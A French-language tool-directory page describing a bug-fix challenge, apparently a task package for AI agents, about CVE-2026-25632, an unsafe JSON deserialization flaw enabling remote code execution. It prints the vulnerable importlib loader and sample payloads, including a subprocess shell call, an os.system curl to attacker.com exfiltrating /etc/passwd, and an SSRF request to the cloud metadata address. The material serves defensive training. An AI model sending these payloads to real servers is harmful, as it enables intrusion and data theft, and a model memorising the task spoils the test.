Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Correction de la désérialisation JSON non sécurisée conduisant à une exécution de code à distance | Kitploit
Outils/GitHubGitHub/lazarus0x1337/cve-2026-25632
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationSécurité WebApprentissage et ÉducationLabs et Pratique
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Correction de la désérialisation JSON non sécurisée conduisant à une exécution de code à distance

Voir le dépôt
13il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25632 — Déserialisation JSON menant à une RCE dans l'API REST (Défi de correction de bug)

Inspiré d'une vraie vulnérabilité de 2026 (CVSS 10.0, activement exploitée)
Basé sur : CVE-2026-25632 — Exécution de code à distance via une déserialisation JSON non sûre pilotée par __type__, découverte dans l'API REST de simulation de réseau d'eau EPyT-Flow et divulguée publiquement début 2026.


Contexte

NovaSim est un framework de simulation basé sur Python qui expose une API REST pour le contrôle à distance d'expériences scientifiques. Afin de prendre en charge une sérialisation flexible d'objets dans des environnements clients hétérogènes, un développeur a ajouté un chargeur JSON personnalisé qui détecte un champ spécial __type__ et importe et instancie dynamiquement la classe Python référencée à l'aide d'importlib.

Ce motif a été divulgué comme une vulnérabilité critique d'exécution de code à distance (RCE) dans un important projet open source en 2026. Les chercheurs en sécurité ont identifié qu'un attaquant contrôlant le corps JSON peut construire une chaîne de gadgets ciblant n'importe quel appelable de la bibliothèque standard Python — y compris subprocess.Popen, , , et plus de 25 gadgets SSRF — permettant un compromission totale du serveur avec une seule requête HTTP, .

os.system
eval
sans authentification requise

Votre mission

Vous recevez la version vulnérable de src/solution.py, qui contient exactement le motif de déserialisation non sûr.

Votre objectif : Corriger la vulnérabilité dans DeserializationService.load_from_json() afin que :

  1. Les objets de simulation légitimes et sur liste blanche soient toujours correctement déserialisés.
  2. Toute tentative de charger une classe hors liste blanche lève une SecurityError.
  3. Le champ __type__ ne permette plus l'import arbitraire de modules ou l'instanciation de classes.
  4. Toutes les données de simulation valides (JSON sans __type__) continuent de se charger normalement.

Énoncé technique du problème

Motif de code vulnérable (À NE PAS UTILISER)

root@kitploit:~
# DANGEREUX — motif CVE-2026-25632
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # contrôlé par l'attaquant !
        cls = getattr(module, class_name)               # contrôlé par l'attaquant !
        return cls(**data.get("args", {}))              # exécution de code arbitraire !

Vecteurs d'attaque (issus de recherches en sécurité réelles)

Un attaquant envoie une requête POST avec un corps JSON forgé :

Vecteur 1 — RCE directe via subprocess :

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Vecteur 2 — RCE via os.system :

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Vecteur 3 — SSRF via urllib.request.urlopen :

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

Les chercheurs en sécurité ont documenté 12 gadgets RCE directs et 25 gadgets SSRF accessibles de cette manière à travers la seule bibliothèque standard de Python.


Types sur liste blanche

Les types d'objets de simulation suivants, et uniquement ceux-ci, peuvent être déserialisés via __type__ :

Valeur de __type__Classe Python
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

Toute autre valeur de __type__ DOIT lever une SecurityError immédiatement, avant toute importation ou instanciation.


Spécifications d'entrée / sortie

Entrée

Objets JSON soumis à DeserializationService.load_from_json(raw: str) -> dict | SimObject

Sortie

  • Si le JSON n'a pas de clé __type__ : retourner dict (JSON analysé).
  • Si le JSON a un __type__ sur liste blanche : retourner l'instance d'objet de simulation correspondante.
  • Si le JSON a un __type__ hors liste blanche : lever une SecurityError avec le message : "Blocked unsafe type: <type_value>".
  • Si le JSON est malformé : lever une ValueError avec le message : "Invalid JSON payload".

Cas limites / Règles de gestion des erreurs

ScénarioComportement attendu
__type__ absentAnalyser et retourner comme dict simple
__type__ = "simulation.Sensor"Instancier Sensor(**args)
__type__ = "subprocess.Popen"Lever une SecurityError
__type__ = "os.system"Lever une SecurityError
__type__ = "__builtins__.eval"Lever une SecurityError
__type__ = "" (chaîne vide)Lever une SecurityError
__type__ = une liste ou un entierLever une SecurityError (champ de type invalide)
Chaîne JSON malforméeLever une ValueError
Champs inconnus supplémentaires dans un objet valideAcceptés, transmis comme kwargs au constructeur

Fichiers

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- Vous êtes ici
├── Dockerfile                  <- Environnement de build déterministe
├── src/
│   ├── solution.py             <- Code de départ BOGUÉ (votre cible)
│   ├── solution_fixed.py       <- Solution de référence (masquée à l'agent)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Classes de modèles de simulation sur liste blanche
└── tests/
    └── test_solution.py        <- Harnais de test (ÉCHOUE sur le code bogué, RÉUSSIT sur le code corrigé)

Critères de vérification

La correction doit passer TOUS les tests suivants :

  • Les 4 tests standard de déserialisation (types sur liste blanche, dict simple sans type)
  • Les 5 tests de blocage de vecteurs d'attaque (subprocess, os, eval, urllib, builtins)
  • Les 3 tests de cas limites (type vide, type non-chaîne, JSON malformé)
  • Aucun appel réseau externe pendant les tests
  • Déterministe entre les exécutions

Références

  • NVD — CVE-2026-25632
  • Avis CISA — Catalogue des vulnérabilités connues et exploitées
  • Recherche en sécurité : 79 gadgets découverts — MazeHQ, 2026
  • CWE-502 : Déserialisation de données non fiables
Télécharger l’outil